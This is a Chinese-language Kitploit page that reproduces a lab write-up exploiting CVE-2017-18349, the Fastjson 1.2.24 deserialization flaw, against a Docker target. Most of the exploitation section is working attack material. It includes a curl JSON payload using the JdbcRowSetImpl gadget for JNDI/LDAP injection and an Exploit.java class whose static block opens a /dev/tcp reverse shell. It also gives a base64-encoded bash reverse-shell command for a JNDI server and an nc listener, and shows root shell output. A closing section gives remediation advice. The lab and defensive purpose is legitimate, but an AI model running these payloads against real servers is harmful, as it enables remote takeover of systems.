Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-18349 — 逐步演示CVE-2017-18349 Fastjson反序列化RCE利用过程,涵盖攻击面识别、指纹识别、JNDI注入以及在Docker实验室环境中获取反弹Shell。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2017-18349
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具Payload 开发二进制利用实验室与实践
GitHubdungsocool/cve-2017-18349

CVE-2017-18349

逐步演示CVE-2017-18349 Fastjson反序列化RCE利用过程,涵盖攻击面识别、指纹识别、JNDI注入以及在Docker实验室环境中获取反弹Shell。

2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

Lab 6-CVE-2017-18349

一、系统分析

攻击面识别

首先,我们看看环境中运行了哪些内容。我列出所有活跃容器:

root@kitploit:~
docker ps

image.png

受害者仅暴露一个端口:8090

目前,我尚未完全清楚目标。从docker ps的结果来看,系统仅对外暴露了一个值得注意的服务,端口8090,映射到容器的内部服务。这是需要分析的主要攻击面。

⇒ 我直接对其进行curl探测以获取更多信息

root@kitploit:~
curl -i 192.168.3.137:8090/

image.png

响应分析:

  • 响应头中有 Content-Type: application/json;charset=UTF-8。
  • 返回数据为JSON格式:{"age": 25, "name": "Bob"}。

⇒ 思考: 访问8090端口时,服务器返回JSON数据。这表明该端点并非只提供静态网页,而是有一个后端处理请求并将数据序列化为JSON返回给客户端。从docker ps的结果看,容器内运行的命令显示出Java应用的迹象,因此下一步的检查方向是识别Java中常见的JSON解析器。

在Java中,流行的JSON库如Jackson、Gson和Fastjson在面对异常输入时行为不同。因此,我们可以利用基于错误的指纹识别技术。返回的错误有时会直接暴露库或内部处理机制。其中,Fastjson是需要尽早验证的目标,因为旧版本存在多个与AutoType反序列化相关的严重漏洞。

这里,我并不立即断定后端使用了Fastjson。我只是选择Fastjson作为第一个检查方向,因为它通过@type键有清晰的指纹,而且如果确实是旧版Fastjson,利用能力可能远超标准解析错误,甚至可能实现RCE。

指纹识别与库探测

Fastjson有一个非常有用的指纹识别特性:它会识别特殊的@type键。如果后端使用Fastjson,并且发送到反序列化流程的请求体支持AutoType,那么解析器可能会尝试将@type的值解释为Java类名。

因此,我发送一个包含指向不存在的类的@type的payload。这一步的目标不是立即利用,而是观察后端是否对@type有反应。

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  -d '{"@type":"com.non.existent.Class"}' \
  http://192.168.3.137:8090/

image.png

如果后端使用了标准的JSON解析器并且不关心@type,那么这个字段可能只是被忽略或被视为JSON中的普通键。然而,这里后端以类型相关行为(类型不匹配)作出反应,意味着请求进入了类/类型映射处理流程。

"type not match"消息是Fastjson处理@type时常常遇到的特征性签名——当指定的类与端点期望的数据类型不匹配,或者该类不存在/不允许被反序列化时出现。

⇒ 思考: 后端确实解析了POST请求的JSON主体,@type字段没有被忽略,解析器具有类型元数据处理机制,返回的错误与阿里巴巴Fastjson的行为相符。因此,我们可以高置信度地得出结论:后端正在使用阿里巴巴Fastjson。

利用条件识别

在指纹识别步骤之后,我不能立即断言该系统是可利用的。后端使用Fastjson仅证明JSON请求进入了@type处理流程。

要执行RCE利用,必须验证以下条件:

  • 使用的Fastjson是否是受AutoType反序列化影响的旧版本。
  • 受害者的JVM是否允许JNDI远程加载类。
  • classpath/JDK中是否存在合适的gadget类来触发危险行为。

⇒ 思考: type not match错误表明后端对@type有反应,但当前的payload仅使用了一个假类来触发错误。要实现实际利用,我们需要将那个假类替换为Java/JDK中存在的、能够创建出站行为(如JNDI查找)的真实类。

检查Fastjson和JVM版本

为了确定版本,我直接在容器/应用内部进行检查。

image.png

在确定应用被打包为文件 /usr/src/fastjsondemo.jar 后,我对此包结构进行深入分析,以查找JSON处理库。检查BOOT-INF/lib/目录结构发现了文件 fastjson-1.2.24.jar(图X)。

使用确切的版本 1.2.24 —— 第一个也是最著名的受反序列化漏洞影响且没有任何AutoType防御机制的版本 —— 使我们能够确认系统易受 CVE-2017-18349 攻击。

找到 fastjson-1.2.24.jar 证实了应用使用了非常旧版本的Fastjson,属于受AutoType反序列化缺陷影响的组。在此版本中,对AutoType的控制机制不如后续版本严格,因此在库条件方面,系统易受通过诸如JdbcRowSetImpl等gadget类的攻击。

然而,实际的可利用性仍取决于端点如何调用Fastjson。如果应用将JSON解析为固定类,在根对象设置@typepayload可能会导致"type not match"错误。因此,在确定版本后,我们必须继续分析JVM、gadget类和LDAP回调行为,以确认利用链是否实际到达JNDI查找。

分析到达JNDI查找的条件

1. 分析JVM障碍

除了Fastjson版本,Java版本也是决定性因素。我检查容器内的JVM:

root@kitploit:~
java -version

image.png

这是关键信息,因为Fastjson利用链通常依赖于JNDI注入。更新的Java版本默认已阻止通过LDAP/RMI从外部代码库加载类。然而,Java 8u102是一个旧版本,还没有这些阻止机制。

因此,如果攻击者能够触发JNDI查找,受害者的JVM具备从外部HTTP服务器下载类并加载到运行时的能力。

分析JdbcRowSetImpl Gadget

在确定旧的Fastjson和JVM之后,下一步是找到一个存在于JDK中的类,该类在反序列化时能够产生危险行为。

com.sun.rowset.JdbcRowSetImpl 是一个合适的gadget,因为这个类存在于JDK中,并且有一个dataSourceName属性。当dataSourceName被赋值为LDAP URL格式的值时,该对象可以被利用来触发一个出站的JNDI查找。

⇒ 思考: 我不需要直接将代码上传到服务器。相反,我利用JVM内已有的一个类,强制受害者连接到攻击者控制的LDAP服务器。

验证利用链

在确定了库和JVM的必要条件后,我需要验证payload是否实际强制受害者进行出站连接。这是区分以下两者的关键步骤:

  • 一个包含易受攻击库/版本的系统。
  • 一个实际能够成功触发JNDI查找的利用链。

如果LDAP服务器或监听器收到来自受害者的连接,则证明payload已成功到达JNDI查找步骤。如果没有回调且服务器返回type not match,则表明当前payload与端点的反序列化流程不匹配。在这种情况下,需要将payload调整为与端点正在解析的确切对象结构相匹配,或者使用其他绕过方式/gadget。

分析阶段结论

根据上述步骤,系统的条件链可以总结如下:

  • 8090端口上的服务是一个处理JSON的后端。
  • 带有@type的错误响应表明后端处理了类型元数据机制,与Fastjson的行为一致。
  • 容器内部检查确认应用打包了fastjson-1.2.24.jar库。
  • Fastjson 1.2.24属于受CVE-2017-18349影响的版本组。
  • 受害者的JVM是OpenJDK 1.8.0_102,一个不会默认阻止通过JNDI远程加载代码库的旧版本。
  • com.sun.rowset.JdbcRowSetImpl gadget存在于JDK中,并可通过dataSourceName属性触发JNDI查找。

⇒ 利用思路:

我不需要查找文件上传功能或直接在服务器上写入文件。相反,我利用Fastjson的反序列化流程,强制JVM实例化一个JdbcRowSetImpl对象。当该对象收到一个LDAP URL形式的dataSourceName时,受害者将向攻击者控制的服务器执行JNDI查找。从那里,攻击者可以将JVM重定向到从外部HTTP服务器下载恶意类,并执行该类中的代码。

因此,选择的利用路径是:

root@kitploit:~
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP查找
→ 包含Exploit.class的HTTP codebase
→ 反向连接到攻击者

二、利用

利用机制

root@kitploit:~
text

Connection received on 192.168.3.137 43928
whoami
root

在Fastjson 1.2.24中,com.sun.rowset.JdbcRowSetImpl 类是一个存在于JVM classpath(属于标准库 rt.jar)中的 gadget类。当Fastjson反序列化一个包含指向此类的@type的JSON字符串时:

  1. Fastjson实例化JdbcRowSetImpl。
  2. 调用setDataSourceName() setter → 设置JNDI地址。
  3. setDataSourceName() 触发内部 InitialContext.lookup(dataSourceName) → 整个JNDI注入发生在这里,在setAutoCommit()有机会执行之前。
  4. JNDI查找查询攻击者的LDAP服务器 → 接收Reference对象。
  5. JVM从HTTP codebase下载Exploit.class文件,加载到内存 → 执行static {}块。

编写Java利用代码(Exploit.java)

root@kitploit:~
import java.io.IOException;
public class Exploit {
    static {
        try {
            String[] cmd = {
                "/bin/bash",
                "-c",
                "exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
            };
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

为Java 8进行向后兼容编译并设置HTTP Codebase Server

由于受害者的JVM运行的是Java 8u102,我们在编译时必须指定目标为Java 8。否则,受害者将抛出 UnsupportedClassVersionError,导致攻击链静默失败。之后,设置HTTP Codebase Server:

root@kitploit:~
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000

使用JNDI-Injection-Exploit设置JNDI利用服务器

由于Kali环境运行的是Java 25——太新而无法构建marshalsec——我们使用替代工具JNDI-Injection-Exploit。首先,以base64格式创建反向shell payload:

root@kitploit:~
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64

使用上述payload启动JNDI服务器:

root@kitploit:~
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
  -A 192.168.3.114

image.png

该工具自动生成LDAP端点:

root@kitploit:~
ldap://192.168.3.114:1389/6bzjwg

监听并触发攻击链

打开反向监听端口:

root@kitploit:~
nc -lvnp 4444

我们看到将@typepayload放在根对象时会返回type not match错误——因为Spring Boot Controller正在将JSON映射到一个固定类型,这与根级别的JdbcRowSetImpl不匹配。

调整payload: 将gadget类包装在嵌套字段("data":{...})中,使Fastjson独立于Controller的类型约束处理嵌套对象:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  -d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
  http://192.168.3.137:8090/

利用结果

image.png

在LDAP服务器(marshalsec):记录了来自受害者IP的成功JNDI查询请求,并重定向到HTTP codebase。

在HTTP服务器(Python):记录了从受害者IP下载Exploit.class文件的请求,状态码200 OK,证明JVM成功加载了字节码。

在Netcat监听器:成功建立了交互式会话(反向shell):

root@kitploit:~
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root

完整的利用链已成功验证:从发送JSON payload → JNDI查找 → LDAP引用 → 加载远程类 → 在static {}块中执行代码 → 建立具有root权限的反向shell。

三、风险评估与修复

风险评估

该系统上的Fastjson反序列化RCE漏洞(CVE-2017-18349)被评为最高严重级别:


修复建议

要彻底解决此漏洞,应按以下优先顺序实施措施:

紧急优先(短期):

  1. 升级Fastjson: 将库更新到安全版本(≥ 1.2.83)。从版本1.2.25开始,autoType功能已默认禁用,并增加了严格的黑名单机制——直接移除了CVE-2017-18349的攻击向量。或者考虑迁移到维护更好的替代库,如Jackson或Gson。
  2. 升级JVM: 将Java运行时至少升级到Java 8u191。从此版本开始,com.sun.jndi.ldap.object.trustURLCodebase属性默认设置为false——完全阻止JVM通过LDAP/RMI自动远程加载类的能力,即使Fastjson仍然存在漏洞,也能打破JNDI注入链。
  3. 降低执行权限: 绝不要以root用户运行Web应用。创建一个专用用户(例如app_user),赋予最低权限——即使攻击者实现RCE,损害也将限于该用户的权限范围。

高优先级(长期与纵深防御):

  1. 禁用autoType: 如果短期内必须保留旧版Fastjson,请在源代码中启用SafeMode以完全关闭autoType:
root@kitploit:~
ParserConfig.getGlobalInstance().setSafeMode(true);

或者建立严格的白名单,只允许经过批准的类被反序列化。

  1. 部署WAF: 配置Web应用防火墙,检测并阻止在JSON主体中包含Fastjson利用签名的HTTP请求:@type、JdbcRowSetImpl、dataSourceName、ldap://、rmi://。
  2. 限制容器网络: 配置防火墙规则,阻止容器主动发起出站连接(出站流量)——防止反向shell连接回攻击者,并阻止JNDI回调到外部LDAP/RMI服务器。在Docker环境中,配置适当的-network和iptables规则。
下载工具
标准评估详情
CVSS分数9.8(严重)极高风险等级——仅低于绝对10.0,因为它不需要特殊的网络访问。
认证不需要攻击者利用它不需要任何账号或凭证。任何能发送HTTP请求的人都可以攻击。
复杂度非常低只需要发送单个包含有效JSON payload的HTTP POST请求——无需复杂工具或特殊条件。
JVM保护无Java 8u102没有阻止远程类加载的机制(trustURLCodebase默认为true),使得整个JNDI注入→远程类加载链能够畅通无阻。
获取的权限root以最高权限级别完全控制应用容器——可读/写/删除任何文件,包括/etc/shadow。
横向移动能力高从被攻陷的容器出发,攻击者可以扫描内部网络(172.19.0.0/16)并攻击同一Docker网络project1_default中的其他容器。